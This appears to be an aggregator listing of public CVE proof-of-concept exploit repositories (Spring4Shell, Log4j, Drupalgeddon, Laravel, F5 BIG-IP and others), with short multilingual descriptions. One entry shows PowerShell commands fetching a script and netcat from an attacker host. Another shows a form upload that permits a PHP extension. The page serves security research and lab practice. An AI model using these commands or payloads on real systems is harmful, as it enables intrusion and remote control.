CVE-2020-7699_reproduce

Riproduzione di CVE-2020-7699 Riproduzione della vulnerabilità RCE in Node.js CVE-2020-7699, mio lavoro di laboratorio Installazione Versione Node.js: v14.16.1, assicurati che la versione di Node.js sia 14 Altre versioni probabilmente funzioneranno, non ho testato Versione Python: 3.9.5, Python...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Caricamento arbitrario di file Descrizione Il plugin Instant Appointment per WordPress è vulnerabile al caricamento arbitrario di file nelle versioni fino alla 1.2 inclusa. Ciò consente ad attaccanti non autenticati di caricare una...

CVE-2018-0802_POC

CVE-2018-0802POC usage: cve-2018-0802poc.py -h -e EXECUTABLE -o OUTPUT Il file .rtf di esempio sfrutta la vulnerabilità per eseguire la calcolatrice...

spring-core-rce

spring-core-rce Sfruttamento semplice di Spring Core RCE Il war può essere usato https://github.com/fengguangbin/spring-rce-war L'ambiente Docker può essere usato https://github.com/lunasec-io/Spring4Shell-POC Si può anche usare l'ambiente online di vulfocus http://vulfocus.io/ Oppure il campo di...

CVE-2016-010033-010045

CVE-2016-010033-010045 Php mail RCE CVE-2016-010033/45 nach python3 importiert Erste Schritte Diese Anweisungen bringen eine Kopie des Projekts auf Ihrem lokalen Rechner für Entwicklungs- und Testzwecke zum Laufen. Hinweise zur Bereitstellung des Projekts auf einem Live-System finden Sie im...

CVE-2021-3129

CVE-2021-3129 Laravel = v8.4.2 modalità di debug: esecuzione remota di codice CVE-2021-3129 Ho modificato l'exploit del maestro @crisprss https://github.com/crisprss/LaravelCVE-2021-3129EXP aggiungendo più gadget utilizzabili per l'enumerazione. Uso: root@kitploit: python3 exp.py...

CVE-2020-5902

Readme F5 BIG-IP lettura file arbitrari + esecuzione remota di comandi RCE root@kitploit: +-------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-5902 F5 BIG-IP Read File + RCE +...

CVE-2018-7600-Drupal-POC-EXP

+----------------------------------------------------------------------+ DES: by zhzyker as https://github.com/zhzyker/exphub + root@kitploit: Drupal Drupalgeddon 2 esecuzione remota di codice CVE-2018-7600 + +----------------------------------------------------------------------+ USE: python3 +...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2025-66478-Exploit-PoC

CVE-2025-66478 Exploit PoC Dieses Repository enthält Proof-of-Concept PoC-Code zur Reproduktion und Untersuchung der Next.js CVE-2025-66478-Sicherheitslücke. Es enthält eine verwundbare Next.js-Anwendung und ein Node.js-Exploit-Skript zum Testen der Schwachstelle. Englisch · 中文 Was ist...

Log4j-Rec-CVE-2021-44228

Notas de reprodução do Log4j2, apenas para aprendizado Referência: https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce Criar arquivo executável root@kitploit: com/example/template javac Log4jRCE.java Iniciar servidor HTTP do Python root@kitploit: com/example/template python -m...

e-signature-poc

e-signature-poc e-signature --------------------------04406918fd5cbc2b Content-Disposition: form-data; name="extensions" jpg,png,pdf,php3 --------------------------04406918fd5cbc2b Content-Disposition: form-data; name="filesize" 2 --------------------------04406918fd5cbc2b Content-Disposition:...

CVE-2020-9547

CVE-2020-9547: Vulnerabilità di esecuzione di codice remoto in FasterXML/jackson-databind...

CVE-2025-55182

CVE-2025-55182 - React2Shell Esecuzione remota di codice pre-autenticazione in React Server Components / Next.js...

CVE-2021-31166

CVE-2021-31166 0x00.Descrizione Questa è una proof of concept per CVE-2021-31166 "Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP", un use-after-free in http.sys corretto da Microsoft a maggio 2021. Per quanto ne so, può solo causare l'arresto anomalo del programma,...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd...

CVE-2025-45467

CVE-2025-45467: Verifica del firmware non sicura in Unitree Go1 Riepilogo Una vulnerabilità critica CVE-2025-45467 è stata scoperta nel cane robotico Unitree Go1 tutte le versioni del firmware ≤ Go120220511, in cui il meccanismo di aggiornamento del firmware si basa esclusivamente su controlli MD...

CVE-2025-45466

CVE-2025-45466 Questi sono i dettagli di CVE-2025-45466 Divulgazione CVE: CVE-2025-45466 Riepilogo È stata scoperta una vulnerabilità nel cane robotico Unitree Go1 tutte le versioni = Go120220511 che coinvolge credenziali di autenticazione in chiaro hardcoded , che porta a un controllo degli...

CVE-2017-12611_Exploit

CVE-2017-12611-Projekt Übersicht: Ein RCE-Angriff ist mit dem angegebenen Payload möglich. Umgebung & Werkzeuge Nachfolgend sind die Umgebungen und Werkzeuge für Tests und Validierung in einem isolierten, persönlichen Labor aufgeführt. Host-Betriebssystem : Ubuntu 18.04.6 Angreifer-Betriebssystem...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Laboratorio di penetration testing basato su Docker che simula la vulnerabilità CVE-2021-42013 Path Traversal & RCE su Apache HTTP Server 2.4.49. Questo progetto è stato preparato per simulare e sfruttare exploit la vulnerabilità CVE-2021-42013 presente su Apache HTTP...